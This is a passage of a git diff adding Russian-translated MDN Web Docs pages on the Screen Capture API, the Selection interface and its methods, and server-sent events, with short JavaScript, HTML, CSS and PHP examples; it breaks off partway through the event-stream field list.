+<p>If any of that fails, the <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">catch()</a></code> clause outputs an error message to the log box.</p>
+
+<h5 id="Stopping_display_capture">Stopping display capture</h5>
+
+<p>The <code>stopCapture()</code> method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, <code>srcObject</code> is set to <code>null</code> to make sure it's understood by anyone interested that there's no stream connected.</p>
+
+<pre class="brush: js">function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track =&gt; track.stop());
+  videoElem.srcObject = null;
+}</pre>
+
+<h5 id="Dumping_configuration_information">Dumping configuration information</h5>
+
+<p>For informational purposes, the <code>startCapture()</code> method shown above calls a method named <code>dumpOptions()</code>, which outputs the current track settings as well as the consrtaints that were placed upon the stream when it was created.</p>
+
+<pre class="brush: js">function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}</pre>
+
+<p>The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currentoly in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}</p>
+
+<h4 id="HTML">HTML</h4>
+
+<p>The HTML starts with a simple introductory paragraph, then gets into the meat of things.</p>
+
+<ol>
+</ol>
+
+<pre class="brush: html">&lt;p&gt;This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.&lt;/p&gt;
+
+&lt;p&gt;&lt;button id="start"&gt;Start Capture&lt;/button&gt;&amp;nbsp;&lt;button id="stop"&gt;Stop Capture&lt;/button&gt;&lt;/p&gt;
+
+&lt;video id="video" autoplay&gt;&lt;/video&gt;
+&lt;br&gt;
+
+&lt;strong&gt;Log:&lt;/strong&gt;
+&lt;br&gt;
+&lt;pre id="log"&gt;&lt;/pre&gt;</pre>
+
+<p>The key parts of the HTML are:</p>
+
+<ol>
+ <li>A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the <code>startCapture()</code> function to request access to, and begin capturing, screen contents.</li>
+ <li>A second button, "Stop Capture", which upon being clicked calls <code>stopCapture()</code> to terminate capture of screen contents.</li>
+ <li>A {{HTMLElement("video")}} into which the captured screen contents are streamed.</li>
+ <li>A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.</li>
+</ol>
+
+<h4 id="CSS">CSS</h4>
+
+<p>The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (<code>width: 98%</code>). {{cssxref("max-width")}} is set to <code>860px</code> to set an absolute upper limit on the video's size,</p>
+
+<p>The <code>error</code>, <code>warn</code>, and <code>info</code> classes are used to style the corresponding console output types.</p>
+
+<pre class="brush: css">#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.</p>
+
+<p>{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}</p>
+
+<h2 id="Security_2">Security</h2>
+
+<p>In order to function when <a href="/en-US/docs/Web/HTTP/Feature_Policy">Feature Policy</a> is enabled, you will need the <code>display-capture</code> permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <code>&lt;iframe&gt;</code> element's {{htmlattrxref("allow", "iframe")}} attribute.</p>
+
+<p>For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:</p>
+
+<pre>Feature-Policy: display-capture 'self'</pre>
+
+<p>If you're performing screen capture within an <code>&lt;iframe&gt;</code>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:</p>
+
+<pre class="brush: html">&lt;iframe src="https://mycode.example.net/etc" allow="display-capture"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Taking_still_photos">Taking still photos with WebRTC</a></li>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to obtain a {{domxref("MediaStream")}} with the live contents of a {{HTMLElement("canvas")}}</li>
+</ul>
+</figure>
diff --git a/files/ru/web/api/selection/getrangeat/index.html b/files/ru/web/api/selection/getrangeat/index.html
new file mode 100644
index 0000000000..b69ef6a122
--- /dev/null
+++ b/files/ru/web/api/selection/getrangeat/index.html
@@ -0,0 +1,118 @@
+---
+title: Selection.getRangeAt()
+slug: Web/API/Selection/getRangeAt
+translation_of: Web/API/Selection/getRangeAt
+---
+<div>
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+</div>
+
+<p>Метод <strong><code>Selection.getRangeAt()</code></strong> возвращает объект диапазона, который представляет один из диапазонов, выделенного на данный момент.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>range</em> = <em>sel</em>.getRangeAt(<em>index</em>)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><em><code>range</code></em></dt>
+ <dd>Объект {{domxref("Range")}}, который будет возвращён.</dd>
+ <dt><em><code>index</code></em></dt>
+ <dd>Индекс диапазона, начинающийся с нуля, который необходимо вернуть. Отрицательное значение или значение выше или равное {{domxref("Selection.rangeCount")}} приведёт к ошибке.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush:js">var ranges = [];
+
+sel = window.getSelection();
+
+for(var i = 0; i &lt; sel.rangeCount; i++) {
+ ranges[i] = sel.getRangeAt(i);
+}
+/* Каждый элемент в массиве диапазонов является
+ * объектом диапазона, который представляет
+ * один из диапазонов текущего выделения */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-getrangeat', 'Selection.getRangeAt()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>Да</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, интерфейс, к которому принадлежит метод.</li>
+ <li><a href="/en-US/docs/XUL_Tutorial/Tree_Selection" title="XUL_Tutorial/Tree_Selection">Tree Selection</a> (для метода <code>getRangeAt()</code> в интерфейсе <code>nsITreeSelection</code>)</li>
+</ul>
diff --git a/files/ru/web/api/selection/index.html b/files/ru/web/api/selection/index.html
new file mode 100644
index 0000000000..183e9a7cb7
--- /dev/null
+++ b/files/ru/web/api/selection/index.html
@@ -0,0 +1,223 @@
+---
+title: Selection
+slug: Web/API/Selection
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Selection
+  - TopicStub
+translation_of: Web/API/Selection
+---
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+
+<div>A <code><strong>Selection</strong></code> object represents the range of text selected by the user or the current position of the caret. To obtain a Selection object for examination or modification, call {{domxref("window.getSelection()")}}.</div>
+
+<div> </div>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Selection.anchorNode")}}</dt>
+ <dd>Returns the {{domxref("Node")}} in which the selection begins.</dd>
+ <dt>{{domxref("Selection.anchorOffset")}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the anchorNode. If anchorNode is a text node, this is the number of characters within anchorNode preceding the anchor. If anchorNode is an element, this is the number of child nodes of the anchorNode preceding the anchor.</dd>
+ <dt>{{domxref("Selection.focusNode")}}</dt>
+ <dd>Returns the {{domxref("Node")}} in which the selection ends.</dd>
+ <dt>{{domxref("Selection.focusOffset")}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the focusNode. If focusNode is a text node, this is the number of characters within focusNode preceding the focus. If focusNode is an element, this is the number of child nodes of the focusNode preceding the focus.</dd>
+ <dt>{{domxref("Selection.isCollapsed")}}</dt>
+ <dd>Returns a Boolean indicating whether the selection's start and end points are at the same position.</dd>
+ <dt>{{domxref("Selection.rangeCount")}}</dt>
+ <dd>Returns the number of ranges in the selection.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Selection.getRangeAt()")}}</dt>
+ <dd>Returns a {{domxref("Range")}} object representing one of the ranges currently selected.</dd>
+ <dt>{{domxref("Selection.collapse()")}}</dt>
+ <dd>Collapses the current selection to a single point.</dd>
+ <dt>{{domxref("Selection.extend()")}}</dt>
+ <dd>Moves the focus of the selection to a specified point.</dd>
+ <dt>{{domxref("Selection.modify()")}}{{non-standard_inline}}</dt>
+ <dd>Changes the current selection.</dd>
+ <dt>{{domxref("Selection.collapseToStart()")}}</dt>
+ <dd>Collapses the selection to the start of the first range in the selection.</dd>
+ <dt>{{domxref("Selection.collapseToEnd()")}}</dt>
+ <dd>Collapses the selection to the end of the last range in the selection.</dd>
+ <dt>{{domxref("Selection.selectAllChildren()")}}</dt>
+ <dd>Adds all the children of the specified node to the selection.</dd>
+ <dt>{{domxref("Selection.addRange()")}}</dt>
+ <dd>A {{domxref("Range")}} object that will be added to the selection.</dd>
+ <dt>{{domxref("Selection.removeRange()")}}</dt>
+ <dd>Removes a range from the selection.</dd>
+ <dt>{{domxref("Selection.removeAllRanges()")}}</dt>
+ <dd>Removes all ranges from the selection.</dd>
+ <dt>{{domxref("Selection.deleteFromDocument()")}}</dt>
+ <dd>Deletes the selection's content from the document.</dd>
+ <dt>{{domxref("Selection.toString()")}}</dt>
+ <dd>Returns a string currently being represented by the selection object, i.e. the currently selected text.</dd>
+ <dt>{{domxref("Selection.containsNode()")}}</dt>
+ <dd>Indicates if a certain node is part of the selection.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="String_representation_of_a_selection">String representation of a selection</h3>
+
+<p>Calling the {{domxref("Selection.toString()")}} method returns the text contained in the selection, e.g.:</p>
+
+<pre class="brush: js">var selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<p>Note that using a selection object as the argument to <code>window.alert</code> will call the object's <code>toString</code> method.</p>
+
+<h3 id="Multiple_ranges_in_a_selection">Multiple ranges in a selection</h3>
+
+<p>A selection object represents the {{domxref("range","ranges")}} that the user has selected. Typically, it holds only one range, accessed as follows:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js">var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);</pre>
+</div>
+
+<ul>
+ <li><code>selObj</code> is a Selection object</li>
+ <li><code>range</code> is a {{domxref("Range")}} object</li>
+</ul>
+
+<p>As the <a href="http://www.w3.org/TR/selection-api/#h_note_15">Selection API specification notes</a>, the Selection API was initially created by Netscape and used multiple ranges, for instance, to allow the user to select a column from a {{HTMLElement("table")}}. However browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.</p>
+
+<h3 id="Selection_and_input_focus">Selection and input focus</h3>
+
+<p>Selection and input focus (indicated by {{domxref("Document.activeElement")}}) have a complex relation, that depends on the browser. In cross-browser compatible code it's better to handle them separately.</p>
+
+<p>Safari and Chrome (unlike Firefox) historically focus the element containing selection when modifying the selection programmatically, but this might change in the future (see <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=14383">W3C bug 14383</a> and {{webkitbug("38696")}}).</p>
+
+<h3 id="Glossary" name="Glossary">Glossary</h3>
+
+<p>Other key terms used in this section.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.</dd>
+ <dt>focus of a selection</dt>
+ <dd>The focus of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves.<strong> Note:</strong> This is not the same as the focused <em>element</em> of the document, as returned by {{domxref("document.activeElement")}}.</dd>
+ <dt>range</dt>
+ <dd>A range is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes, such as a portion of a text node. A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g. by using the Control key). A range can be retrieved from a selection as a {{domxref("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#selection', 'Selection')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial (older) definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '#definition', 'Selection')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(2)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.getSelection")}}, {{domxref("Document.getSelection")}}, {{domxref("Range")}}</li>
+ <li>HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}})</li>
+ <li>{{domxref("Document.activeElement")}}, {{domxref("HTMLElement.focus()")}}, and {{domxref("HTMLElement.blur()")}}</li>
+</ul>
+
+<h2 id="Gecko_notes">Gecko notes</h2>
+
+<ul>
+ <li>Gecko/Firefox provide additional features, available to chrome (internal and add-on) code only. These are defined in {{interface("nsISelectionPrivate")}}.</li>
+ <li>Mozilla source code: {{source("dom/webidl/Selection.webidl")}}</li>
+ <li>{{obsolete_inline("gecko29")}} {{domxref("Selection.selectionLanguageChange()")}} used to be exposed to the web content until Firefox 29</li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..9726f381b9
--- /dev/null
+++ b/files/ru/web/api/selection/tostring/index.html
@@ -0,0 +1,66 @@
+---
+title: Selection.toString()
+slug: Web/API/Selection/toString
+translation_of: Web/API/Selection/toString
+---
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>Selection.toString()</code></strong> возвращает строку, содержащуюся в выделенном объекте, т.е. выделенный текст.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>str</em> =<em> sel</em>.toString()
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<ul>
+ <li><em><code>str</code></em> -- это строка, содержащаяся в выделении.</li>
+</ul>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<p><em>None (отсутствуют).</em></p>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p>Этото метод возвращает выделенный текст.</p>
+
+<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:</p>
+
+<pre class="brush: js">alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Selection.toString")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, the interface it belongs to.</li>
+</ul>
diff --git a/files/ru/web/api/server-sent_events/index.html b/files/ru/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..f77249df1b
--- /dev/null
+++ b/files/ru/web/api/server-sent_events/index.html
@@ -0,0 +1,72 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+translation_of: Web/API/Server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<p>По традиции, web-страница должна отправить запрос на сервер, чтобы получить новые данные; это то, как страница получает данные с сервера. Server-sent events дают возможность серверу отправлять новые данные web-странице в любое время, отсылая сообщения web-странице. Такие входящие сообщения могут расцениваться как <em><a href="/en-US/docs/DOM/event">Events</a> + data</em> внутри web-страницы.</p>
+
+<h2 id="Понятия_и_применение">Понятия и применение</h2>
+
+<p>Чтобы изучить, как использовать server-sent events, обратитесь к статье <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</p>
+
+<h2 id="Interfaces" name="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("EventSource")}}</dt>
+ <dd>Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP</a></li>
+</ul>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<h3 id="Tools" name="Tools">Tools</h3>
+
+<ul>
+ <li><a href="https://github.com/EventSource/eventsource">EventSource polyfill for Node.js</a></li>
+ <li>Remy Sharp’s <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource polyfill</a></li>
+ <li>Yaffle’s <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource polyfill</a></li>
+ <li>Rick Waldron’s <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery plugin</a></li>
+ <li>intercooler.js <a href="http://intercoolerjs.org/docs.html#sse">declarative SSE support</a></li>
+</ul>
+
+<h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+</ul>
+
+<h3 id="Other_resources">Other resources</h3>
+
+<ul>
+ <li>A <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter like application</a> powered by server-sent events and <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">its code on Github</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5 and Server-sent events</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Server-sent events using Asp.Net</a></li>
+</ul>
diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
new file mode 100644
index 0000000000..8aeb349c50
--- /dev/null
+++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
@@ -0,0 +1,186 @@
+---
+title: Using server-sent events
+slug: Web/API/Server-sent_events/Using_server-sent_events
+translation_of: Web/API/Server-sent_events/Using_server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<div class="summary">
+<p>Разрабатывать web-приложения, использующие <a href="/en-US/docs/Web/API/Server-sent_events">Server-Sent Events</a> намного проще, чем с использованием websockets. Нужно всего лишь немного кода на стороне сервере, чтобы переправлять события web-приложению, но клиентская часть кода для обработки этих событий работает почти точно так же, как и для любых других событий.</p>
+</div>
+
+<h2 id="Получение_событий_от_сервера">Получение событий от сервера</h2>
+
+<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создает события. Например:</p>
+
+<pre class="brush: js">const evtSource = new EventSource("ssedemo.php");</pre>
+
+<p>Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p>
+
+<pre class="brush: js"><code>const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); </code>
+</pre>
+
+<p>Как только вы создали экземпляр <code>EventSource</code>, вы можете начать прослушивание сообщений с сервера, добавив обработчик для события {{event("message")}} :</p>
+
+<pre class="brush: js">evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById('list');
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+</pre>
+
+<p>Этот код прослушивает входящие сообщения (то есть уведомления от сервера, на которых нет поля <code>event</code>) и добавляет текст сообщения в список в HTML-документе.</p>
+
+<p>Вы также можете прослушивать события, используя <code>addEventListener()</code>:</p>
+
+<pre class="brush: js"><code>evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});</code></pre>
+
+<p>Этот код аналогичен коду выше, за исключением того, что он будет вызываться автоматически всякий раз, когда сервер отправляет сообщение с полем <code>event</code>, установленным в «ping»; затем он парсит JSON в поле <code>data</code> и выводит эту информацию.</p>
+
+<h2 id="Отправка_событий_с_сервера">Отправка событий с сервера</h2>
+
+<p>Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип <code>text/event-stream</code>. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (<code>\n</code>) . Подробнее о формате потока событий см.  {{ anch("Event stream format") }}.</p>
+
+<p>{{Glossary("PHP")}} код, который мы используем для примера приведен ниже:</p>
+
+<pre class="brush: php">date_default_timezone_set("America/New_York");
+header('Cache-Control: no-cache');
+header("Content-Type: text/event-stream\n\n");
+
+$counter = rand(1, 10);
+while (1) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+</pre>
+
+<p>Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Обработка_ошибок">Обработка ошибок</h2>
+
+<p>Когда возникают проблемы (такие как тайм-аут ответа сети или проблемы, связанные с <a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">контролем доступа</a>), тогда генерируется событие <code>error</code>. Вы можете обработать это событие программно, реализовав метод <code>onerror</code> для объекта <code>EventSource</code>:</p>
+
+<pre class="brush: js">evtSource.onerror = function(error) {
+  console.error("⛔ EventSource failed: ", error);
+};
+</pre>
+
+<h2 id="Закрытие_потоков_событий">Закрытие потоков событий</h2>
+
+<p>По умолчанию, если соединение между клиентом и сервером закрывается, то соединение сбрасывается. Прервать соединение можно с помощью метода <code>.close()</code>.</p>
+
+<pre class="brush: js">evtSource.close();</pre>
+
+<h2 id="Формат_потока_событий">Формат потока событий</h2>
+
+<p>Поток событий представляет из себя простой поток текста, который должен иметь кодировку <a href="https://developer.mozilla.org/en-US/docs/Glossary/UTF-8">UTF-8</a>. Сообщения в потоке событий разделяются парой символов новой строки. Двоеточие, как первый символ строки считается комментарием и игнорируется.</p>
+
+<div class="note"><strong>Примечание:</strong> Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.</div>
+
+<p>Каждое сообщение содержит одну или более строчек текста, которые перечиляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p>
+
+<h3 id="Поля">Поля</h3>
+
+<p>Каждое полученное сообщение имеет некоторую комбинацию следующих полей, по одному на строку:</p>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>Строка, идентифицирующая тип описанного события. Если <code>event</code> указан, то событие будет отправлено в браузер слушателю для указанного имени события. Исходный код сайта должен использовать <code>addEventListener()</code> для прослушивания именованных событий. Обработчик <code>onmessage</code> вызывается, если для сообщения не указано имя события.</dd>
+ <dt><code>data</code></dt>
